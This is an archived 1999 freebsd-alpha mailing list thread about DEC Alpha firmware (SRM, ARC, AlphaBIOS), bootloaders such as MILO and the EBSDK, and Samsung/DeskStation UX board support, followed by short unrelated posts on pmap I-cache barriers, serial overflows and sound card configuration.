EBSDK is available from Compaq (1-800-Digital) for $79, the license of > > > that seems to be fairly liberal (even BSD like I've been told). This > > > includes the PAL code and documentation, between this and the sources to > > > MILO > > > you should be able to construct you're own boot loader (so I've been > > > told). > > > > EBSDK? I'm afraid I don't know the term - is this a fancier name for > > Evaluation Board SDK. Old version of MILO I believe. But isn't this only > for the SRM? SRM yes, but it also includes docs on EV5 (V3.1) and EV6 (V4.0) plus PAL code and assembler samples that can be re-used. Again, I've been told that between the info in that kit and the current MILO sources you could figure everything out to make your own bootloader, (I know that it isn't all that easy, but it's a start). regards, rdp Rich Payne rpayne@alphalinux.org www.alphalinux.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:51:19 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 65309151EB for ; Fri, 23 Apr 1999 15:51:16 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id PAA06116; Fri, 23 Apr 1999 15:48:22 -0700 Date: Fri, 23 Apr 1999 15:48:21 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: "Daniel J. Frasnelli" Cc: "Jordan K. Hubbard" , Rich Payne , Alpha List Subject: Re: EBSDK discussion In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > No, Multia happily has SRM. > Does it have only SRM? My PWS box has ABIOS and SRM, selectable > through a menu in the AlphaBIOS config or at the SRM prompt. > Of course, this does not mean that I can actually boot using SRM - > peripherals such as framebuffer and SCSI controller type limit that. It has both. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:51:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 0EE7014CA9 for ; Fri, 23 Apr 1999 15:51:39 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id PAA06126; Fri, 23 Apr 1999 15:48:42 -0700 Date: Fri, 23 Apr 1999 15:48:42 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: "Daniel J. Frasnelli" Cc: "Jordan K. Hubbard" , Rich Payne , Alpha List Subject: Sorry-Re: EBSDK discussion In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It has both ARC && SRM. I don't think there's a version with AlphaBios. On Fri, 23 Apr 1999, Daniel J. Frasnelli wrote: > > No, Multia happily has SRM. > Does it have only SRM? My PWS box has ABIOS and SRM, selectable > through a menu in the AlphaBIOS config or at the SRM prompt. > Of course, this does not mean that I can actually boot using SRM - > peripherals such as framebuffer and SCSI controller type limit that. > > --- > Daniel J. Frasnelli INFOSEC analyst and cryptographer > He who wonders discovers that this in itself is wonder. -- M.C. Escher > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 15:53:11 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from talisman.mv.com (talisman.mv.com [207.22.43.150]) by hub.freebsd.org (Postfix) with ESMTP id 3F1E814CA9 for ; Fri, 23 Apr 1999 15:53:08 -0700 (PDT) (envelope-from rdp@talisman.alphalinux.org) Received: from localhost (rdp@localhost [127.0.0.1]) by talisman.mv.com (8.8.7/8.8.7) with ESMTP id SAA05842; Fri, 23 Apr 1999 18:50:18 -0400 Date: Fri, 23 Apr 1999 18:50:17 -0400 (EDT) From: Rich Payne X-Sender: rdp@talisman.mv.com To: "Daniel J. Frasnelli" Cc: Matthew Jacob , "Jordan K. Hubbard" , Alpha List Subject: Re: EBSDK discussion In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 23 Apr 1999, Daniel J. Frasnelli wrote: > > No, Multia happily has SRM. > Does it have only SRM? My PWS box has ABIOS and SRM, selectable > through a menu in the AlphaBIOS config or at the SRM prompt. > Of course, this does not mean that I can actually boot using SRM - > peripherals such as framebuffer and SCSI controller type limit that. Multia has both at the same time.... well, you switch between then that is, but it can hold both at the same time (unlike say the LX that can only take 1 at a time). Rich Payne rpayne@alphalinux.org www.alphalinux.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 16:15:43 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.netbsd.org (redmail.netbsd.org [155.53.200.193]) by hub.freebsd.org (Postfix) with SMTP id 1447114DB3 for ; Fri, 23 Apr 1999 16:15:40 -0700 (PDT) (envelope-from cgd@netbsd.org) Received: (qmail 8502 invoked by uid 1000); 23 Apr 1999 23:13:09 -0000 To: "Daniel J. Frasnelli" Cc: "Jordan K. Hubbard" , Rich Payne , Alpha List Subject: Re: EBSDK discussion References: From: cgd@netbsd.org (Chris G. Demetriou) Date: 23 Apr 1999 16:13:09 -0700 In-Reply-To: "Daniel J. Frasnelli"'s message of Fri, 23 Apr 1999 18:33:25 -0400 (EDT) Message-ID: <87iuangcca.fsf@redmail.redback.com> Lines: 23 X-Mailer: Gnus v5.5/Emacs 20.2 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Daniel J. Frasnelli" writes: > > ARC/AlphaBIOS and SRM, and since we already support SRM that basically > > leaves the other two (one? I'm not sure if ARC is deprecated) as > ARC is still the only alternative on systems like the > Jenson and Multia, as I recall. And as everyone knows, those suckers are > flying around all over the used workstation market right now. Uh, this is incorrect. Both Jensen and Multia had/have SRM. IIRC, AlphaXL systems, AlphaPC64's, the newer Samsung boards and a few others have only ARC or AlphaBIOS. Really, the set of systems without SRM is small, and the set of systems which are interesting these days which only have SRM is decreasing. (really, only the samsung boards are left, right?) Even things like (at least some of) the white-box systems have SRM (e.g. the 330x boxes you can get on Onsale right now). cgd -- Chris Demetriou - cgd@netbsd.org - http://www.netbsd.org/People/Pages/cgd.html Disclaimer: Not speaking for NetBSD, just expressing my own opinion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 17:55:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from archeron.good.com (mgooderum1.dsl.uswest.net [209.180.19.145]) by hub.freebsd.org (Postfix) with ESMTP id B0F4814E42 for ; Fri, 23 Apr 1999 17:54:49 -0700 (PDT) (envelope-from mark@jumpweb.com) Received: by archeron.good.com with Internet Mail Service (5.5.2448.0) id ; Fri, 23 Apr 1999 19:50:49 -0500 Message-ID: <50C732FEDE87D211954300A024786203A6FA@archeron.good.com> From: "Gooderum, Mark" To: 'Rich Payne' , "Daniel J. Frasnelli" Cc: Matthew Jacob , "Jordan K. Hubbard" , Alpha List Subject: RE: EBSDK discussion Date: Fri, 23 Apr 1999 19:50:43 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Multia has both at the same time.... well, you switch between > then that > is, but it can hold both at the same time (unlike say the LX > that can only > take 1 at a time). In the Linux world there's even hacks on how to put MILO in one of the Flash EEPROMs (for those systems that allow it like the Multia). One would assume MILO would be a possible starting point for an ARC/AlphaBIOS xxBSD boot since it has the needed machine specific versions of the PALcode MILO uses available for most platforms courtesy of DEC, er, Compaq. There was some discussion of SRM versus ARC/AlphaBIOS on the FreeBSD list. The main advantage I saw of supporting booting via ARC or AlphaBIOS would be to allow dual booting a system w/NT or Linux, which is certainly a nice feature. With ARC at least it's easily possible to dual boot Linux (via MILO) and NT using the same "system" (or MILO) partition, just two configs referencing different dirs and loaders. -- Mark Gooderum mark@jumpweb.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 18: 7:31 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from talisman.mv.com (talisman.mv.com [207.22.43.150]) by hub.freebsd.org (Postfix) with ESMTP id 1C77B14D73 for ; Fri, 23 Apr 1999 18:07:17 -0700 (PDT) (envelope-from rdp@talisman.alphalinux.org) Received: from localhost (rdp@localhost [127.0.0.1]) by talisman.mv.com (8.8.7/8.8.7) with ESMTP id VAA06109; Fri, 23 Apr 1999 21:03:59 -0400 Date: Fri, 23 Apr 1999 21:03:59 -0400 (EDT) From: Rich Payne X-Sender: rdp@talisman.mv.com To: "Chris G. Demetriou" Cc: "Daniel J. Frasnelli" , "Jordan K. Hubbard" , Alpha List Subject: Re: EBSDK discussion In-Reply-To: <87iuangcca.fsf@redmail.redback.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 23 Apr 1999, Chris G. Demetriou wrote: > IIRC, AlphaXL systems, AlphaPC64's, the newer Samsung boards and a few > others have only ARC or AlphaBIOS. Really, the set of systems without > SRM is small, and the set of systems which are interesting these days > which only have SRM is decreasing. (really, only the samsung boards > are left, right?) Even things like (at least some of) the white-box > systems have SRM (e.g. the 330x boxes you can get on Onsale right > now). Most systems can take either SRM and/or AlphaBIOS (or ARC for older systems). The only ones that can't are the 164PC (SX) and the DeskStation/Samsumg UX boards (that have their own ARCS BIOS). (I think I got that right). What do you mean by the Samsung boards? LX and UX? The LX can take either SRM or AlphaBIOS, but only one at a time. UX uses ARCS BIOS and the DP264 comes with both SRM and AlphaBIOS. Rich Payne rpayne@alphalinux.org www.alphalinux.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 18:14:23 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.netbsd.org (redmail.netbsd.org [155.53.200.193]) by hub.freebsd.org (Postfix) with SMTP id F136714BEE for ; Fri, 23 Apr 1999 18:14:06 -0700 (PDT) (envelope-from cgd@netbsd.org) Received: (qmail 21133 invoked by uid 1000); 24 Apr 1999 01:11:33 -0000 To: Rich Payne Cc: "Daniel J. Frasnelli" , "Jordan K. Hubbard" , Alpha List Subject: Re: EBSDK discussion References: From: cgd@netbsd.org (Chris G. Demetriou) Date: 23 Apr 1999 18:11:33 -0700 In-Reply-To: Rich Payne's message of Fri, 23 Apr 1999 21:03:59 -0400 (EDT) Message-ID: <87u2u67rga.fsf@redmail.redback.com> Lines: 34 X-Mailer: Gnus v5.5/Emacs 20.2 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Rich Payne writes: > Most systems can take either SRM and/or AlphaBIOS (or ARC for older > systems). The only ones that can't are the 164PC (SX) and the > DeskStation/Samsumg UX boards (that have their own ARCS BIOS). > (I think I got that right). of the modern ones, that may be correct. Note, however, that unless i'm mistaken, a bunch of peple (at least some NetBSD users, IIRC), have successfully put a version of SRM on the SX boards. the UX boards are, as far as i know, the only >=EV5 boards which you can't put any kind of working SRM on. > UX uses ARCS BIOS and the DP264 comes with both SRM and AlphaBIOS. As an aside/addition to this, note that boards/systems which are allegedly "NT only" may come with SRM, but not necessarily with SRM capable of booting VMS or Digital UNIX (or whatever it's called today 8-). An example is the Digital Server 330x boxes (white-box versions of the blue-box AlphaServer 800 family). They include SRM, but it's hacked to keep DU from running. NetBSD, and i presume Linux, however, will work fine with that SRM. cgd -- Chris Demetriou - cgd@netbsd.org - http://www.netbsd.org/People/Pages/cgd.html Disclaimer: Not speaking for NetBSD, just expressing my own opinion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 23 18:52:17 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail2.panix.com (mail2.panix.com [166.84.0.213]) by hub.freebsd.org (Postfix) with ESMTP id 5AAB814C91 for ; Fri, 23 Apr 1999 18:52:01 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail2.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id VAA10170; Fri, 23 Apr 1999 21:49:27 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id VAA23755; Fri, 23 Apr 1999 21:49:28 -0400 (EDT) Date: Fri, 23 Apr 1999 21:49:28 -0400 From: Thor Lancelot Simon To: Rich Payne Cc: freebsd-alpha@freebsd.org Subject: Re: EBSDK discussion Message-ID: <19990423214928.A23747@rek.tjls.com> Reply-To: tls@rek.tjls.com References: <87iuangcca.fsf@redmail.redback.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Rich Payne on Fri, Apr 23, 1999 at 09:03:59PM -0400 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Apr 23, 1999 at 09:03:59PM -0400, Rich Payne wrote: > On 23 Apr 1999, Chris G. Demetriou wrote: > > > IIRC, AlphaXL systems, AlphaPC64's, the newer Samsung boards and a few > > others have only ARC or AlphaBIOS. Really, the set of systems without > > SRM is small, and the set of systems which are interesting these days > > which only have SRM is decreasing. (really, only the samsung boards > > are left, right?) Even things like (at least some of) the white-box > > systems have SRM (e.g. the 330x boxes you can get on Onsale right > > now). > > Most systems can take either SRM and/or AlphaBIOS (or ARC for older > systems). The only ones that can't are the 164PC (SX) and the > DeskStation/Samsumg UX boards (that have their own ARCS BIOS). > (I think I got that right). No, you got it wrong. There is SRM available for the PC164SX motherboard. You're right that there's not SRM available for the "UX" boards. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 24 2:57:46 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 47B0414E77 for ; Sat, 24 Apr 1999 02:57:41 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id LAA28567; Sat, 24 Apr 1999 11:03:49 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sat, 24 Apr 1999 11:03:49 +0100 (BST) From: Doug Rabson To: "Jordan K. Hubbard" Cc: Rich Payne , Alpha List , "Daniel J. Frasnelli" Subject: Re: your mail In-Reply-To: <33412.924905918@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 23 Apr 1999, Jordan K. Hubbard wrote: > > I just talked with one of our engineers here about the docs/SDK > > etc... for AlphaBIOS. Evidently there is no documentation for AlphaBIOS, > > the docs being the source itself, the problem being that parts of the > > source were written/are copyrighted by Microsoft. So in order to get those > > you'd have to sign an NDA with MS. Not good. > > Grumble. That's quite unfortunate. :( Thanks for letting me know, > in any case. I am confused. I have come fairly good documentation for AlphaBIOS (basically the mips ARC docs and a couple of files listing alpha function numbers). I found this by following links from the source to linload.exe which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/. I already have enough information on Digital's AlphaBIOS firmware to build test programs which work. The particular problem which I have with the Samsung board is that its firmware is not AlphaBIOS but instead is a modified ARC style system. I need information on what specific differences the Samsung firmware programming interface has compared to Digital's AlphaBIOS firmware. My test programs which work on AlphaBIOS do not work with the Samsung firmware. I believe that Linux also needs a specially modified version of their loader for this board. Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they felt the need to invent their own firmware and even managed to change the api so that it is incompatible. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 24 5:12:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from talisman.mv.com (talisman.mv.com [207.22.43.150]) by hub.freebsd.org (Postfix) with ESMTP id 9A95314CBF for ; Sat, 24 Apr 1999 05:12:24 -0700 (PDT) (envelope-from rdp@talisman.alphalinux.org) Received: from localhost (rdp@localhost [127.0.0.1]) by talisman.mv.com (8.8.7/8.8.7) with ESMTP id IAA06704; Sat, 24 Apr 1999 08:12:08 -0400 Date: Sat, 24 Apr 1999 08:12:08 -0400 (EDT) From: Rich Payne X-Sender: rdp@talisman.mv.com To: Doug Rabson Cc: "Jordan K. Hubbard" , Alpha List , "Daniel J. Frasnelli" Subject: Re: your mail In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I am confused. I have come fairly good documentation for AlphaBIOS > (basically the mips ARC docs and a couple of files listing alpha function > numbers). I found this by following links from the source to linload.exe > which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/. > I already have enough information on Digital's AlphaBIOS firmware to build > test programs which work. Yup, the original MIPS spec is available, I even put it up on ftp.alphalinux.org for people to get access to. > The particular problem which I have with the Samsung board is that its > firmware is not AlphaBIOS but instead is a modified ARC style system. I > need information on what specific differences the Samsung firmware > programming interface has compared to Digital's AlphaBIOS firmware. My > test programs which work on AlphaBIOS do not work with the Samsung > firmware. I believe that Linux also needs a specially modified version of > their loader for this board. Which Samsung board? > Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they > felt the need to invent their own firmware and even managed to change the > api so that it is incompatible. Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was not designed by Samsung. It was designed by DeskStation. Samsung just produces the board now. As far as I know the ARCS BIOS is used in the UX and only the UX, and I don't think there are any plans for it to go on any boards, unless DeskStation decides to design another. The specially modified loader you are talking about is ldmilo.exe (instead of linload.exe). I don't know if the source is available for that, presumably DeskStation still holds the copyright. So it would be best to take it up with them. --rdp Rich Payne rpayne@alphalinux.org www.alphalinux.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 24 7:22:18 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id F10F314E75; Sat, 24 Apr 1999 07:22:14 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id PAA29452; Sat, 24 Apr 1999 15:28:13 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sat, 24 Apr 1999 15:28:12 +0100 (BST) From: Doug Rabson To: Rich Payne Cc: "Jordan K. Hubbard" , Alpha List , "Daniel J. Frasnelli" , Stefan Esser , Stefan.Esser@o-tel-o.de Subject: Re: your mail In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 24 Apr 1999, Rich Payne wrote: > > I am confused. I have come fairly good documentation for AlphaBIOS > > (basically the mips ARC docs and a couple of files listing alpha function > > numbers). I found this by following links from the source to linload.exe > > which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/. > > I already have enough information on Digital's AlphaBIOS firmware to build > > test programs which work. > > Yup, the original MIPS spec is available, I even put it up on > ftp.alphalinux.org for people to get access to. > > > The particular problem which I have with the Samsung board is that its > > firmware is not AlphaBIOS but instead is a modified ARC style system. I > > need information on what specific differences the Samsung firmware > > programming interface has compared to Digital's AlphaBIOS firmware. My > > test programs which work on AlphaBIOS do not work with the Samsung > > firmware. I believe that Linux also needs a specially modified version of > > their loader for this board. > > Which Samsung board? It was the UX board as far as I know. > > > Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they > > felt the need to invent their own firmware and even managed to change the > > api so that it is incompatible. > > Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was > not designed by Samsung. It was designed by DeskStation. Samsung just > produces > the board now. As far as I know the ARCS BIOS is used in the UX and only > the UX, and I don't think there are any plans for it to go on any boards, > unless DeskStation decides to design another. > > The specially modified loader you are talking about is ldmilo.exe (instead > of linload.exe). I don't know if the source is available for that, > presumably DeskStation still holds the copyright. So it would be best to > take it up with them. Since I wasn't the person trying to get things working on this board (it was Stefan Esser ), I don't know exactly what the firmware looks like. According to Stefan, it had a completely different look and feel from AlphaBIOS though. I believe that Stefan contacted both Samsung and DeskStation to try to get programming information with no luck. I think Samsung asked for an NDA and I'm not sure if DeskStation even replied. Stefan would know for sure; since I don't think he reads this list, I have Cc'ed him. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 24 22:11:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id BDC3A1503D for ; Sat, 24 Apr 1999 22:11:50 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA79453; Sat, 24 Apr 1999 23:11:23 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA03523; Sat, 24 Apr 1999 23:11:16 -0600 (MDT) Message-Id: <199904250511.XAA03523@harmony.village.org> To: Rich Payne Subject: Re: your mail Cc: Alpha List In-reply-to: Your message of "Sat, 24 Apr 1999 08:12:08 EDT." References: Date: Sat, 24 Apr 1999 23:11:16 -0600 From: Warner Losh Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Rich Payne writes: : Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was : not designed by Samsung. It was designed by DeskStation. Samsung just ... : unless DeskStation decides to design another. Ah, Deskstation. I have one of their MIPS products. They tend to write their own BIOSes. The one I have on my MIPS platform looks unlike anything else I've ever seen before or since. One big problem, according to the lists, is that they tend to produce fairly buggy BIOSes tht work just well enough to install WinNT and boot WinNT and usually not a whole lot beyond that. At least that was my experience when working with the rPC44 bios and the Tyne bios. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 24 22:16:58 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 7E2C914DED; Sat, 24 Apr 1999 22:16:56 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA79470; Sat, 24 Apr 1999 23:16:25 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA03559; Sat, 24 Apr 1999 23:16:19 -0600 (MDT) Message-Id: <199904250516.XAA03559@harmony.village.org> To: Doug Rabson Subject: Re: your mail Cc: Rich Payne , "Jordan K. Hubbard" , Alpha List , "Daniel J. Frasnelli" , Stefan Esser , Stefan.Esser@o-tel-o.de In-reply-to: Your message of "Sat, 24 Apr 1999 15:28:12 BST." References: Date: Sat, 24 Apr 1999 23:16:18 -0600 From: Warner Losh Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Doug Rabson writes: : I believe that Stefan contacted both Samsung and DeskStation to try to get : programming information with no luck. I think Samsung asked for an NDA and : I'm not sure if DeskStation even replied. Stefan would know for sure; : since I don't think he reads this list, I have Cc'ed him. Good luck getting information out of DeskStation. They tend to swing from being almost a little helpful to being completely unhelpful and unresponsive. They provided me with almost no help in the way of specs and the like for the rPC44 port of OpenBSD/Linux I did. However, the support they did give me was enough to get things up and crawling. I'll give you the entire sum of the support: The ISA bus is memory mapped at 0xa0000000. The ISA ports are memory mapped at 0xb0000000. It is basically a PC MOBO with a mips processor bolted on. I had no better luck calling them directly. However, they say on their website they support Linux, and are looking for a Linux OS engineer (but they have been looking for at least the past year, so maybe their website is on auto-pilot). Ironically, I did get mail from them asking me for help installing OpenBSD/arc on their systems! After giving them the help, I never heard back from them. I don't think the person who I was working with is there anymore. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 7: 2:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from helios.dnttm.ru (dnttm-gw.rssi.ru [193.232.0.205]) by hub.freebsd.org (Postfix) with ESMTP id 56E311526D for ; Sun, 25 Apr 1999 07:02:51 -0700 (PDT) (envelope-from dima@tejblum.dnttm.rssi.ru) Received: (from uucp@localhost) by helios.dnttm.ru (8.9.1/8.9.1/IP-3) with UUCP id SAA29829 for freebsd-alpha@freebsd.org; Sun, 25 Apr 1999 18:01:01 +0400 Received: from tejblum.dnttm.rssi.ru (localhost [127.0.0.1]) by tejblum.dnttm.rssi.ru (8.9.3/8.9.1) with ESMTP id RAA02496 for ; Sun, 25 Apr 1999 17:59:36 +0400 (MSD) (envelope-from dima@tejblum.dnttm.rssi.ru) Message-Id: <199904251359.RAA02496@tejblum.dnttm.rssi.ru> X-Mailer: exmh version 2.0gamma 1/27/96 To: freebsd-alpha@freebsd.org Subject: "I-stream memory barrier" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: Dmitrij Tejblum Date: Sun, 25 Apr 1999 17:59:36 +0400 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It looks to me that our pmap take alpha_pal_imb() wrong. Our pmap apparently assume that I-cache like TLB is virtually indexed and tagged with the ASN. So we call alpha_pal_imb() only when start new ASN generation. NetBSD have completely different idea (I-cache is indexed by the physical address?) and call alpha_pal_imb() in every second pmap function. I suspect they are right... Comments? Dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 7: 5:43 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 9119214F46 for ; Sun, 25 Apr 1999 07:05:41 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-28.cybcon.com [205.147.75.157]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id HAA02369 for ; Sun, 25 Apr 1999 07:05:40 -0700 (PDT) Message-Id: <199904251405.HAA02369@mail.cybcon.com> From: "William" To: Subject: silo overflows...... Date: Sun, 25 Apr 1999 07:04:53 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have been out of the loop for a couple days.....did anyone ever come up with a "quick fix" for the silo overflows when useing an external modem on com1? I tried lowering the baud rate all the way down to 19200 and still had the same problem. William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 8:44:55 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from set.spradley.tmi.net (set.spradley.tmi.net [207.170.107.99]) by hub.freebsd.org (Postfix) with ESMTP id B889414CE0 for ; Sun, 25 Apr 1999 08:44:52 -0700 (PDT) (envelope-from tsprad@set.spradley.tmi.net) Received: from set.spradley.tmi.net (localhost.spradley.tmi.net [127.0.0.1]) by set.spradley.tmi.net (8.9.3/8.9.2) with ESMTP id KAA02569 for ; Sun, 25 Apr 1999 10:44:50 -0500 (CDT) (envelope-from tsprad@set.spradley.tmi.net) Message-Id: <199904251544.KAA02569@set.spradley.tmi.net> X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-alpha@freebsd.org Subject: sound on AS200 "Avanti"? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 25 Apr 1999 10:44:49 -0500 From: Ted Spradley Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org My AS200-4/233 came from OnSale.com last summer with a little "Windows compatible sound" board with a Crystal CS4231A-KL chip. I added this to my kernel config: controller pnp0 device pcm0 at isa0 port 0x530 tty irq 9 drq 0 flags 0x11 but 'boot -v' yields no mention of pnp or pcm in dmesg. Is this just not supported, or am I missing something? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 8:52:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: 